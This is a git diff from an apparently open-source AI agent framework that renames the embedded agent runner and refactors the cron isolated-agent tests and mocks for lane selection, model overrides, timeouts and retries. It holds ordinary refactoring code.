a/src/cron/isolated-agent.hook-content-wrapping.test.ts +++ b/src/cron/isolated-agent.hook-content-wrapping.test.ts @@ -1,18 +1,19 @@ import "./isolated-agent.mocks.js"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import { loadModelCatalog } from "../agents/model-catalog.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { DEFAULT_MESSAGE, GMAIL_MODEL, - expectEmbeddedProviderModel, runCronTurn, withTempHome, } from "./isolated-agent.turn-test-helpers.js"; +import { makeCfg } from "./isolated-agent.test-harness.js"; +import { resolveCronModelSelection } from "./isolated-agent/model-selection.js"; import * as isolatedAgentRunRuntime from "./isolated-agent/run.runtime.js"; function lastEmbeddedPrompt(): string { - const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + const calls = vi.mocked(runEmbeddedAgent).mock.calls; const call = calls[calls.length - 1]; const prompt = call?.[0]?.prompt; if (typeof prompt !== "string") { @@ -23,8 +24,9 @@ function lastEmbeddedPrompt(): string { describe("runCronIsolatedAgentTurn hook content wrapping", () => { beforeEach(() => { + process.env.OPENCLAW_TEST_FAST = "1"; vi.spyOn(isolatedAgentRunRuntime, "resolveThinkingDefault").mockReturnValue("off"); - vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(runEmbeddedAgent).mockClear(); vi.mocked(loadModelCatalog).mockResolvedValue([]); }); @@ -65,28 +67,33 @@ describe("runCronIsolatedAgentTurn hook content wrapping", () => { it("uses hooks.gmail.model for normalized Gmail hook provenance", async () => { await withTempHome(async (home) => { - const { res } = await runCronTurn(home, { - cfgOverrides: { - hooks: { - gmail: { - model: GMAIL_MODEL, - }, + const cfg = makeCfg(home, "unused-session-store.json", { + hooks: { + gmail: { + model: GMAIL_MODEL, }, }, - jobPayload: { + }); + + const resolved = await resolveCronModelSelection({ + cfg, + cfgWithAgentDefaults: cfg, + sessionEntry: {}, + payload: { kind: "agentTurn", message: DEFAULT_MESSAGE, externalContentSource: "gmail", }, - sessionKey: "main", + isGmailHook: true, + agentId: "main", }); - expect(res.status).toBe("ok"); - const gmailHookModel = expectEmbeddedProviderModel({ + expect(resolved).toEqual({ + ok: true, provider: "openrouter", model: GMAIL_MODEL.replace("openrouter/", ""), + modelSource: "hook", }); - gmailHookModel.assert(); }); }); diff --git a/src/cron/isolated-agent.lane.test.ts b/src/cron/isolated-agent.lane.test.ts index 59a4e510e85..da79edddab6 100644 --- a/src/cron/isolated-agent.lane.test.ts +++ b/src/cron/isolated-agent.lane.test.ts @@ -1,102 +1,58 @@ -import "./isolated-agent.mocks.js"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { clearAllBootstrapSnapshots } from "../agents/bootstrap-cache.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; -import { clearSessionStoreCacheForTest } from "../config/sessions/store.js"; -import { resetAgentRunContextForTest } from "../infra/agent-events.js"; -import { createCliDeps, mockAgentPayloads } from "./isolated-agent.delivery.test-helpers.js"; -import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; +import { describe, expect, it } from "vitest"; +import { resolveCronAgentLane } from "../agents/lanes.js"; import { - makeCfg, - makeJob, - withTempCronHome, - writeSessionStoreEntries, -} from "./isolated-agent.test-harness.js"; + makeIsolatedAgentTurnJob, + makeIsolatedAgentTurnParams, + setupRunCronIsolatedAgentTurnSuite, +} from "./isolated-agent/run.suite-helpers.js"; +import { + loadRunCronIsolatedAgentTurn, + mockRunCronFallbackPassthrough, + resolveCronAgentLaneMock, + runEmbeddedAgentMock, +} from "./isolated-agent/run.test-harness.js"; + +const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); function lastEmbeddedLane(): string | undefined { - const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; - expect(calls.length).toBeGreaterThan(0); - return (calls.at(-1)?.[0] as { lane?: string } | undefined)?.lane; + const params = runEmbeddedAgentMock.mock.calls.at(-1)?.[0]; + if (!params || typeof params !== "object" || Array.isArray(params)) { + throw new Error("Expected embedded OpenClaw agent params to be an object"); + } + return (params as { lane?: string }).lane; } -async function runLaneCase(home: string, lane?: string) { - const storePath = await writeSessionStoreEntries(home, { - "agent:main:main": { - sessionId: "main-session", - updatedAt: Date.now(), - lastProvider: "webchat", - lastTo: "", - }, - }); - mockAgentPayloads([{ text: "ok" }]); +async function runLaneCase(lane?: string) { + resolveCronAgentLaneMock.mockImplementation(resolveCronAgentLane); + mockRunCronFallbackPassthrough(); - await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath), - deps: createCliDeps(), - job: { ...makeJob({ kind: "agentTurn", message: "do it" }), delivery: { mode: "none" } }, - message: "do it", - sessionKey: "cron:job-1", - ...(lane === undefined ? {} : { lane }), - }); + await runCronIsolatedAgentTurn( + makeIsolatedAgentTurnParams({ + job: makeIsolatedAgentTurnJob({ + delivery: { mode: "none" }, + payload: { kind: "agentTurn", message: "do it" }, + }), + message: "do it", + sessionKey: "cron:job-1", + ...(lane === undefined ? {} : { lane }), + }), + ); return lastEmbeddedLane(); } -const envSnapshot = { - HOME: process.env.HOME, - USERPROFILE: process.env.USERPROFILE, - HOMEDRIVE: process.env.HOMEDRIVE, - HOMEPATH: process.env.HOMEPATH, - OPENCLAW_HOME: process.env.OPENCLAW_HOME, - OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, -} as const; - -function restoreSnapshotEnv() { - for (const [key, value] of Object.entries(envSnapshot)) { - if (value === undefined) { - delete process.env[key]; - } else { - process.env[key] = value; - } - } -} - describe("runCronIsolatedAgentTurn lane selection", () => { - beforeEach(() => { - vi.mocked(runEmbeddedPiAgent).mockClear(); - }); - - afterEach(() => { - // Shared-worker runs can start collecting the next file before the generic - // runner cleanup resets env and session-store globals. - restoreSnapshotEnv(); - vi.doUnmock("../agents/pi-embedded.js"); - vi.doUnmock("../agents/model-catalog.js"); - vi.doUnmock("../agents/model-selection.js"); - vi.doUnmock("../agents/subagent-announce.js"); - vi.doUnmock("../gateway/call.js"); - clearSessionStoreCacheForTest(); - resetAgentRunContextForTest(); - clearAllBootstrapSnapshots(); - vi.restoreAllMocks(); - vi.resetModules(); - }); + setupRunCronIsolatedAgentTurnSuite(); it("moves the cron lane to cron-nested for embedded runs", async () => { - await withTempCronHome(async (home) => { - expect(await runLaneCase(home, "cron")).toBe("cron-nested"); - }); + expect(await runLaneCase("cron")).toBe("cron-nested"); }); it("defaults missing lanes to cron-nested for embedded runs", async () => { - await withTempCronHome(async (home) => { - expect(await runLaneCase(home)).toBe("cron-nested"); - }); + expect(await runLaneCase()).toBe("cron-nested"); }); it("preserves non-cron lanes for embedded runs", async () => { - await withTempCronHome(async (home) => { - expect(await runLaneCase(home, "subagent")).toBe("subagent"); - }); + expect(await runLaneCase("subagent")).toBe("subagent"); }); }); diff --git a/src/cron/isolated-agent.mocks.ts b/src/cron/isolated-agent.mocks.ts index 7b4e4b6fc18..13b3970b040 100644 --- a/src/cron/isolated-agent.mocks.ts +++ b/src/cron/isolated-agent.mocks.ts @@ -4,9 +4,9 @@ import { makeIsolatedAgentParamsFixture, } from "./isolated-agent/job-fixtures.js"; -vi.mock("../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - runEmbeddedPiAgent: vi.fn(), +vi.mock("../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + runEmbeddedAgent: vi.fn(), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, })); @@ -28,7 +28,7 @@ vi.mock("../agents/subagent-announce.js", () => ({ runSubagentAnnounceFlow: vi.fn(), })); -vi.mock("./isolated-agent/run-runtime-plugins.runtime.js", () => ({ +vi.mock("../plugins/runtime-plugins.runtime.js", () => ({ ensureRuntimePluginsLoaded: vi.fn(), })); diff --git a/src/cron/isolated-agent.model-overrides.test.ts b/src/cron/isolated-agent.model-overrides.test.ts index 7d3d889c0ae..69605a90ecd 100644 --- a/src/cron/isolated-agent.model-overrides.test.ts +++ b/src/cron/isolated-agent.model-overrides.test.ts @@ -1,8 +1,8 @@ import "./isolated-agent.mocks.js"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import { loadModelCatalog } from "../agents/model-catalog.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { BASE_THINKING_LEVELS } from "../auto-reply/thinking.shared.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { PluginProviderRegistration } from "../plugins/registry.js"; @@ -68,7 +68,7 @@ const OPENAI_PI_RUNTIME_CONFIG: Partial = { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -81,7 +81,7 @@ describe("runCronIsolatedAgentTurn model overrides", () => { resetPluginRuntimeStateForTest(); installThinkingTestProviders(); vi.spyOn(isolatedAgentRunRuntime, "resolveThinkingDefault").mockReturnValue("off"); - vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(runEmbeddedAgent).mockClear(); vi.mocked(loadModelCatalog).mockResolvedValue([]); }); @@ -96,7 +96,7 @@ describe("runCronIsolatedAgentTurn model overrides", () => { }); expect(res.status).toBe("ok"); - expect(vi.mocked(runEmbeddedPiAgent)).toHaveBeenCalledTimes(1); + expect(vi.mocked(runEmbeddedAgent)).toHaveBeenCalledTimes(1); }); }); @@ -172,7 +172,7 @@ describe("runCronIsolatedAgentTurn model overrides", () => { }); gmailModel.assert(); - vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(runEmbeddedAgent).mockClear(); res = ( await runGmailHookTurn(home, { "agent:main:hook:gmail:msg-1": { @@ -244,7 +244,7 @@ describe("runCronIsolatedAgentTurn model overrides", () => { expect(res.status).toBe("error"); expect(res.error).toMatch("cron payload.model 'openai/' rejected: invalid model"); - expect(vi.mocked(runEmbeddedPiAgent)).not.toHaveBeenCalled(); + expect(vi.mocked(runEmbeddedAgent)).not.toHaveBeenCalled(); }); }); @@ -257,7 +257,7 @@ describe("runCronIsolatedAgentTurn model overrides", () => { mockTexts: ["done"], }); - const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + const calls = vi.mocked(runEmbeddedAgent).mock.calls; const callArgs = calls[calls.length - 1]?.[0]; expect(callArgs?.thinkLevel).toBe("low"); }); @@ -289,7 +289,7 @@ describe("runCronIsolatedAgentTurn model overrides", () => { mockTexts: ["done"], }); - const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + const calls = vi.mocked(runEmbeddedAgent).mock.calls; const callArgs = calls[calls.length - 1]?.[0]; expect(callArgs?.provider).toBe("google"); expect(callArgs?.model).toBe("gemini-3-flash-preview"); diff --git a/src/cron/isolated-agent.model-preflight.test.ts b/src/cron/isolated-agent.model-preflight.test.ts index 174d6ddcde9..6171fbc00c6 100644 --- a/src/cron/isolated-agent.model-preflight.test.ts +++ b/src/cron/isolated-agent.model-preflight.test.ts @@ -6,7 +6,7 @@ import { resolveConfiguredModelRefMock, resolveCronSessionMock, resetRunCronIsolatedAgentTurnHarness, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, } from "./isolated-agent/run.test-harness.js"; const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); @@ -77,6 +77,6 @@ describe("runCronIsolatedAgentTurn model provider preflight", () => { expect(result.model).toBe("qwen3:32b"); expect(result.sessionId).toBe("cron-session"); expect(result.error).toContain("local provider endpoint is not reachable"); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); }); diff --git a/src/cron/isolated-agent.run-timeout-override.test.ts b/src/cron/isolated-agent.run-timeout-override.test.ts index dc05459ccc5..4c296eaff9e 100644 --- a/src/cron/isolated-agent.run-timeout-override.test.ts +++ b/src/cron/isolated-agent.run-timeout-override.test.ts @@ -1,7 +1,7 @@ import "./isolated-agent.mocks.js"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { clearAllBootstrapSnapshots } from "../agents/bootstrap-cache.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import { clearSessionStoreCacheForTest } from "../config/sessions/store.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resetAgentRunContextForTest } from "../infra/agent-events.js"; @@ -15,7 +15,7 @@ import { } from "./isolated-agent.test-harness.js"; function lastEmbeddedCall(): { runTimeoutOverrideMs?: number; timeoutMs?: number } { - const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + const calls = vi.mocked(runEmbeddedAgent).mock.calls; expect(calls.length).toBeGreaterThan(0); return calls.at(-1)?.[0] as { runTimeoutOverrideMs?: number; timeoutMs?: number }; } @@ -31,7 +31,7 @@ function makeTimeoutTestCfg( providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -60,12 +60,12 @@ function restoreSnapshotEnv() { describe("runCronIsolatedAgentTurn — explicit per-run timeout signal", () => { beforeEach(() => { - vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(runEmbeddedAgent).mockClear(); }); afterEach(() => { restoreSnapshotEnv(); - vi.doUnmock("../agents/pi-embedded.js"); + vi.doUnmock("../agents/embedded-agent.js"); vi.doUnmock("../agents/model-catalog.js"); vi.doUnmock("../agents/model-selection.js"); vi.doUnmock("../agents/subagent-announce.js"); diff --git a/src/cron/isolated-agent.session-identity.test.ts b/src/cron/isolated-agent.session-identity.test.ts index c7d44c957f3..812b768b270 100644 --- a/src/cron/isolated-agent.session-identity.test.ts +++ b/src/cron/isolated-agent.session-identity.test.ts @@ -24,7 +24,7 @@ import { setupRunCronIsolatedAgentTurnSuite } from "./isolated-agent/run.suite-h import { dispatchCronDeliveryMock, mockRunCronFallbackPassthrough, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, updateSessionStoreMock, } from "./isolated-agent/run.test-harness.js"; import { normalizeCronJobCreate } from "./normalize.js"; @@ -40,14 +40,14 @@ function lastEmbeddedAgentCall(): { workspaceDir?: string; sessionFile?: string; } { - const calls = runEmbeddedPiAgentMock.mock.calls; + const calls = runEmbeddedAgentMock.mock.calls; const call = calls[calls.length - 1]; if (!call) { - throw new Error("expected runEmbeddedPiAgent call"); + throw new Error("expected runEmbeddedAgent call"); } const value = call[0]; if (!value || typeof value !== "object" || Array.isArray(value)) { - throw new Error("expected runEmbeddedPiAgent call payload"); + throw new Error("expected runEmbeddedAgent call payload"); } return value as { agentDir?: string; @@ -62,11 +62,11 @@ function lastEmbeddedAgentCall(): { describe("runCronIsolatedAgentTurn session identity", () => { beforeEach(() => { vi.spyOn(modelThinkingDefault, "resolveThinkingDefault").mockReturnValue("off"); - runEmbeddedPiAgentMock.mockClear(); + runEmbeddedAgentMock.mockClear(); mockRunCronFallbackPassthrough(); }); - it("passes resolved agentDir to runEmbeddedPiAgent", async () => { + it("passes resolved agentDir to runEmbeddedAgent", async () => { await withTempHome(async (home) => { const { res } = await runCronTurn(home, { jobPayload: DEFAULT_AGENT_TURN_PAYLOAD, @@ -167,7 +167,7 @@ describe("runCronIsolatedAgentTurn session identity", () => { systemSent: true, }, }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: { durationMs: 5, diff --git a/src/cron/isolated-agent.test-setup.ts b/src/cron/isolated-agent.test-setup.ts index 963fd5b1adc..18892798743 100644 --- a/src/cron/isolated-agent.test-setup.ts +++ b/src/cron/isolated-agent.test-setup.ts @@ -1,6 +1,6 @@ import { vi } from "vitest"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import { loadModelCatalog } from "../agents/model-catalog.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { runSubagentAnnounceFlow } from "../agents/subagent-announce.js"; import type { ChannelOutboundAdapter, @@ -153,7 +153,7 @@ export function setupIsolatedAgentTurnMocks(params?: { fast?: boolean }): void { if (params?.fast) { vi.stubEnv("OPENCLAW_TEST_FAST", "1"); } - vi.mocked(runEmbeddedPiAgent).mockReset(); + vi.mocked(runEmbeddedAgent).mockReset(); vi.mocked(loadModelCatalog).mockResolvedValue([]); vi.mocked(runSubagentAnnounceFlow).mockReset().mockResolvedValue(true); vi.mocked(callGateway).mockReset().mockResolvedValue({ ok: true, deleted: true }); diff --git a/src/cron/isolated-agent.turn-test-helpers.ts b/src/cron/isolated-agent.turn-test-helpers.ts index 7c3345c225a..d6cc05f75be 100644 --- a/src/cron/isolated-agent.turn-test-helpers.ts +++ b/src/cron/isolated-agent.turn-test-helpers.ts @@ -1,7 +1,7 @@ import "./isolated-agent.mocks.js"; import fs from "node:fs/promises"; import { expect, vi } from "vitest"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import type { CliDeps } from "../cli/deps.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; import { @@ -26,7 +26,7 @@ export function makeDeps(): CliDeps { } function mockEmbeddedPayloads(payloads: Array<{ text?: string; isError?: boolean }>) { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + vi.mocked(runEmbeddedAgent).mockResolvedValue({ payloads, meta: { durationMs: 5, @@ -44,7 +44,7 @@ export function mockEmbeddedOk() { } export function expectEmbeddedProviderModel(expected: { provider: string; model: string }) { - const call = vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0] as { + const call = vi.mocked(runEmbeddedAgent).mock.calls.at(-1)?.[0] as { provider?: string; model?: string; }; @@ -101,7 +101,7 @@ export async function runCronTurn(home: string, options: RunCronTurnOptions = {} })); const deps = options.deps ?? makeDeps(); if (options.mockTexts === null) { - vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(runEmbeddedAgent).mockClear(); } else { mockEmbeddedTexts(options.mockTexts ?? ["ok"]); } diff --git a/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts b/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts index 56902a8de5a..daa50ceed8c 100644 --- a/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts +++ b/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts @@ -76,7 +76,7 @@ vi.mock("../../agents/subagent-registry-read.js", () => ({ countActiveDescendantRuns: countActiveDescendantRunsMock, })); -vi.mock("../../agents/pi-bundle-mcp-tools.js", () => ({ +vi.mock("../../agents/agent-bundle-mcp-tools.js", () => ({ retireSessionMcpRuntime: retireSessionMcpRuntimeMock, })); @@ -137,7 +137,7 @@ vi.mock("./subagent-followup.runtime.js", () => ({ waitForDescendantSubagentSummary: vi.fn().mockResolvedValue(undefined), })); -import { retireSessionMcpRuntime } from "../../agents/pi-bundle-mcp-tools.js"; +import { retireSessionMcpRuntime } from "../../agents/agent-bundle-mcp-tools.js"; // Import after mocks import { countActiveDescendantRuns } from "../../agents/subagent-registry-read.js"; import { appendAssistantMessageToSessionTranscript } from "../../config/sessions/transcript.runtime.js"; diff --git a/src/cron/isolated-agent/delivery-dispatch.ts b/src/cron/isolated-agent/delivery-dispatch.ts index 27b919c770a..2fda49d8c96 100644 --- a/src/cron/isolated-agent/delivery-dispatch.ts +++ b/src/cron/isolated-agent/delivery-dispatch.ts @@ -1,4 +1,4 @@ -import { retireSessionMcpRuntime } from "../../agents/pi-bundle-mcp-tools.js"; +import { retireSessionMcpRuntime } from "../../agents/agent-bundle-mcp-tools.js"; import type { ReplyPayload } from "../../auto-reply/reply-payload.js"; import { isSilentReplyText, diff --git a/src/cron/isolated-agent/run-embedded.runtime.ts b/src/cron/isolated-agent/run-embedded.runtime.ts index 765e19177a1..00e14d0579c 100644 --- a/src/cron/isolated-agent/run-embedded.runtime.ts +++ b/src/cron/isolated-agent/run-embedded.runtime.ts @@ -1,3 +1,3 @@ export { resolveFastModeState } from "../../agents/fast-mode.js"; export { resolveCronAgentLane } from "../../agents/lanes.js"; -export { runEmbeddedPiAgent } from "../../agents/pi-embedded.js"; +export { runEmbeddedAgent } from "../../agents/embedded-agent.js"; diff --git a/src/cron/isolated-agent/run-executor.ts b/src/cron/isolated-agent/run-executor.ts index b8a4a80efae..8d2d3b04438 100644 --- a/src/cron/isolated-agent/run-executor.ts +++ b/src/cron/isolated-agent/run-executor.ts @@ -221,13 +221,13 @@ export function createCronPromptExecutor(params: { ); return result; } - const { resolveFastModeState, runEmbeddedPiAgent } = await loadCronEmbeddedRuntime(); + const { resolveFastModeState, runEmbeddedAgent } = await loadCronEmbeddedRuntime(); const currentChannelId = await resolveCurrentChannelTarget({ channel: messageChannel, to: params.resolvedDelivery.to, threadId: params.resolvedDelivery.threadId, }); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: params.cronSession.sessionEntry.sessionId, sessionKey: params.runSessionKey, agentId: params.agentId, diff --git a/src/cron/isolated-agent/run-runtime-plugins.runtime.ts b/src/cron/isolated-agent/run-runtime-plugins.runtime.ts deleted file mode 100644 index 9a7872300f9..00000000000 --- a/src/cron/isolated-agent/run-runtime-plugins.runtime.ts +++ /dev/null @@ -1 +0,0 @@ -export { ensureRuntimePluginsLoaded } from "../../agents/runtime-plugins.js"; diff --git a/src/cron/isolated-agent/run.cron-model-override-forwarding.test.ts b/src/cron/isolated-agent/run.cron-model-override-forwarding.test.ts index d9429718333..517feea211f 100644 --- a/src/cron/isolated-agent/run.cron-model-override-forwarding.test.ts +++ b/src/cron/isolated-agent/run.cron-model-override-forwarding.test.ts @@ -16,7 +16,7 @@ import { resolveSupportedThinkingLevelMock, resetRunCronIsolatedAgentTurnHarness, restoreFastTestEnv, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runWithModelFallbackMock, updateSessionStoreMock, runCliAgentMock, @@ -164,12 +164,12 @@ describe("runCronIsolatedAgentTurn — cron model override forwarding (#58065)", }); it("passes the cron payload model to the embedded agent runner", async () => { - // Use passthrough so runEmbeddedPiAgentMock actually gets called + // Use passthrough so runEmbeddedAgentMock actually gets called runWithModelFallbackMock.mockImplementation(async ({ provider, model, run }) => { const result = await run(provider, model); return { result, provider, model, attempts: [] }; }); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "summary done" }], meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); @@ -177,7 +177,7 @@ describe("runCronIsolatedAgentTurn — cron model override forwarding (#58065)", const result = await runCronIsolatedAgentTurn(makeParams()); expect(result.status).toBe("ok"); - const embeddedCall = firstMockArg(runEmbeddedPiAgentMock); + const embeddedCall = firstMockArg(runEmbeddedAgentMock); expect(embeddedCall.provider).toBe("google"); expect(embeddedCall.model).toBe("gemini-2.0-flash"); }); @@ -187,7 +187,7 @@ describe("runCronIsolatedAgentTurn — cron model override forwarding (#58065)", const result = await run(provider, model); return { result, provider, model, attempts: [] }; }); - runEmbeddedPiAgentMock.mockImplementation(async ({ onExecutionPhase }) => { + runEmbeddedAgentMock.mockImplementation(async ({ onExecutionPhase }) => { onExecutionPhase?.({ phase: "model_call_started", provider: "google", @@ -329,7 +329,7 @@ describe("runCronIsolatedAgentTurn — cron model override forwarding (#58065)", expect(catalogEntry.id).toBe("qwen3:0.6b"); expect(catalogEntry.reasoning).toBe(true); - const embeddedCall = firstMockArg(runEmbeddedPiAgentMock); + const embeddedCall = firstMockArg(runEmbeddedAgentMock); expect(embeddedCall.provider).toBe("ollama"); expect(embeddedCall.model).toBe("qwen3:0.6b"); expect(embeddedCall.thinkLevel).toBe("medium"); diff --git a/src/cron/isolated-agent/run.fast-mode.test.ts b/src/cron/isolated-agent/run.fast-mode.test.ts index 617ef08b977..6a3c5296025 100644 --- a/src/cron/isolated-agent/run.fast-mode.test.ts +++ b/src/cron/isolated-agent/run.fast-mode.test.ts @@ -10,7 +10,7 @@ import { retireSessionMcpRuntimeMock, resolveFastModeStateMock, resolveCronSessionMock, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runWithModelFallbackMock, } from "./run.test-harness.js"; @@ -103,8 +103,8 @@ async function runFastModeCase(params: { ); expect(result.status).toBe("ok"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const [embeddedRunParams] = requireFirstMockCall(runEmbeddedPiAgentMock, "embedded run"); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const [embeddedRunParams] = requireFirstMockCall(runEmbeddedAgentMock, "embedded run"); expect(embeddedRunParams.provider).toBe("openai"); expect(embeddedRunParams.model).toBe(EXPECTED_OPENAI_MODEL); expect(embeddedRunParams.fastMode).toBe(params.expectedFastMode); diff --git a/src/cron/isolated-agent/run.interim-retry.test.ts b/src/cron/isolated-agent/run.interim-retry.test.ts index 22cffd3b92c..387c7da98d9 100644 --- a/src/cron/isolated-agent/run.interim-retry.test.ts +++ b/src/cron/isolated-agent/run.interim-retry.test.ts @@ -12,16 +12,16 @@ import { mockRunCronFallbackPassthrough, pickLastNonEmptyTextFromPayloadsMock, resolveCronDeliveryPlanMock, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runWithModelFallbackMock, } from "./run.test-harness.js"; const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); function requireEmbeddedAgentCall(index: number): { prompt?: string } { - const call = runEmbeddedPiAgentMock.mock.calls[index]?.[0] as { prompt?: string } | undefined; + const call = runEmbeddedAgentMock.mock.calls[index]?.[0] as { prompt?: string } | undefined; if (!call) { - throw new Error(`Expected embedded PI agent call ${index}`); + throw new Error(`Expected embedded OpenClaw agent call ${index}`); } return call; } @@ -49,7 +49,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { const result = await runCronIsolatedAgentTurn(makeIsolatedAgentTurnParams()); expect(result.status).toBe("ok"); expect(runWithModelFallbackMock).toHaveBeenCalledTimes(expectedFallbackCalls); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(expectedAgentCalls); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(expectedAgentCalls); return result; }; @@ -69,7 +69,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { it("regression, retries once when cron returns interim acknowledgement and no descendants were spawned", async () => { usePayloadTextExtraction(); - runEmbeddedPiAgentMock + runEmbeddedAgentMock .mockResolvedValueOnce({ payloads: [ { @@ -92,7 +92,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { it("does not retry when the first turn is already a concrete result", async () => { usePayloadTextExtraction(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "SF is 62F and SD is 67F. SD is warmer by 5F." }], meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); @@ -103,7 +103,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { it("does not retry over a fatal structured failure signal", async () => { usePayloadTextExtraction(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "On it, retrying now." }], meta: { agentMeta: { usage: { input: 10, output: 20 } }, @@ -124,7 +124,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { expect(result.status).toBe("error"); expect(result.error).toBe("SYSTEM_RUN_DENIED: approval required"); expect(runWithModelFallbackMock).toHaveBeenCalledTimes(1); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); }); it("delivers synthesized fatal failure signals even when the original payloads are empty", async () => { @@ -136,7 +136,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { to: "123", }); isHeartbeatOnlyResponseMock.mockReturnValue(true); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: { agentMeta: { usage: { input: 10, output: 20 } }, @@ -165,7 +165,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { it("does not retry when descendants were spawned in this run even if they already settled", async () => { usePayloadTextExtraction(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "On it, I spawned a subagent and it will auto-announce when done." }], meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); diff --git a/src/cron/isolated-agent/run.live-session-model-switch.test.ts b/src/cron/isolated-agent/run.live-session-model-switch.test.ts index 2caa41e1d9a..d5dc07c2270 100644 --- a/src/cron/isolated-agent/run.live-session-model-switch.test.ts +++ b/src/cron/isolated-agent/run.live-session-model-switch.test.ts @@ -11,7 +11,7 @@ import { resolveCronSessionMock, resolveSessionAuthProfileOverrideMock, resetRunCronIsolatedAgentTurnHarness, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runWithModelFallbackMock, updateSessionStoreMock, } from "./run.test-harness.js"; @@ -71,7 +71,7 @@ function requireEmbeddedAgentCall(index: number): { authProfileId?: string; authProfileIdSource?: string; } { - const call = runEmbeddedPiAgentMock.mock.calls[index]?.[0] as + const call = runEmbeddedAgentMock.mock.calls[index]?.[0] as | { provider?: string; model?: string; @@ -80,7 +80,7 @@ function requireEmbeddedAgentCall(index: number): { } | undefined; if (!call) { - throw new Error(`Expected embedded PI agent call ${index}`); + throw new Error(`Expected embedded OpenClaw agent call ${index}`); } return call; } @@ -201,7 +201,7 @@ describe("runCronIsolatedAgentTurn — LiveSessionModelSwitchError retry (#57206 model, attempts: [], })); - runEmbeddedPiAgentMock + runEmbeddedAgentMock .mockRejectedValueOnce( new 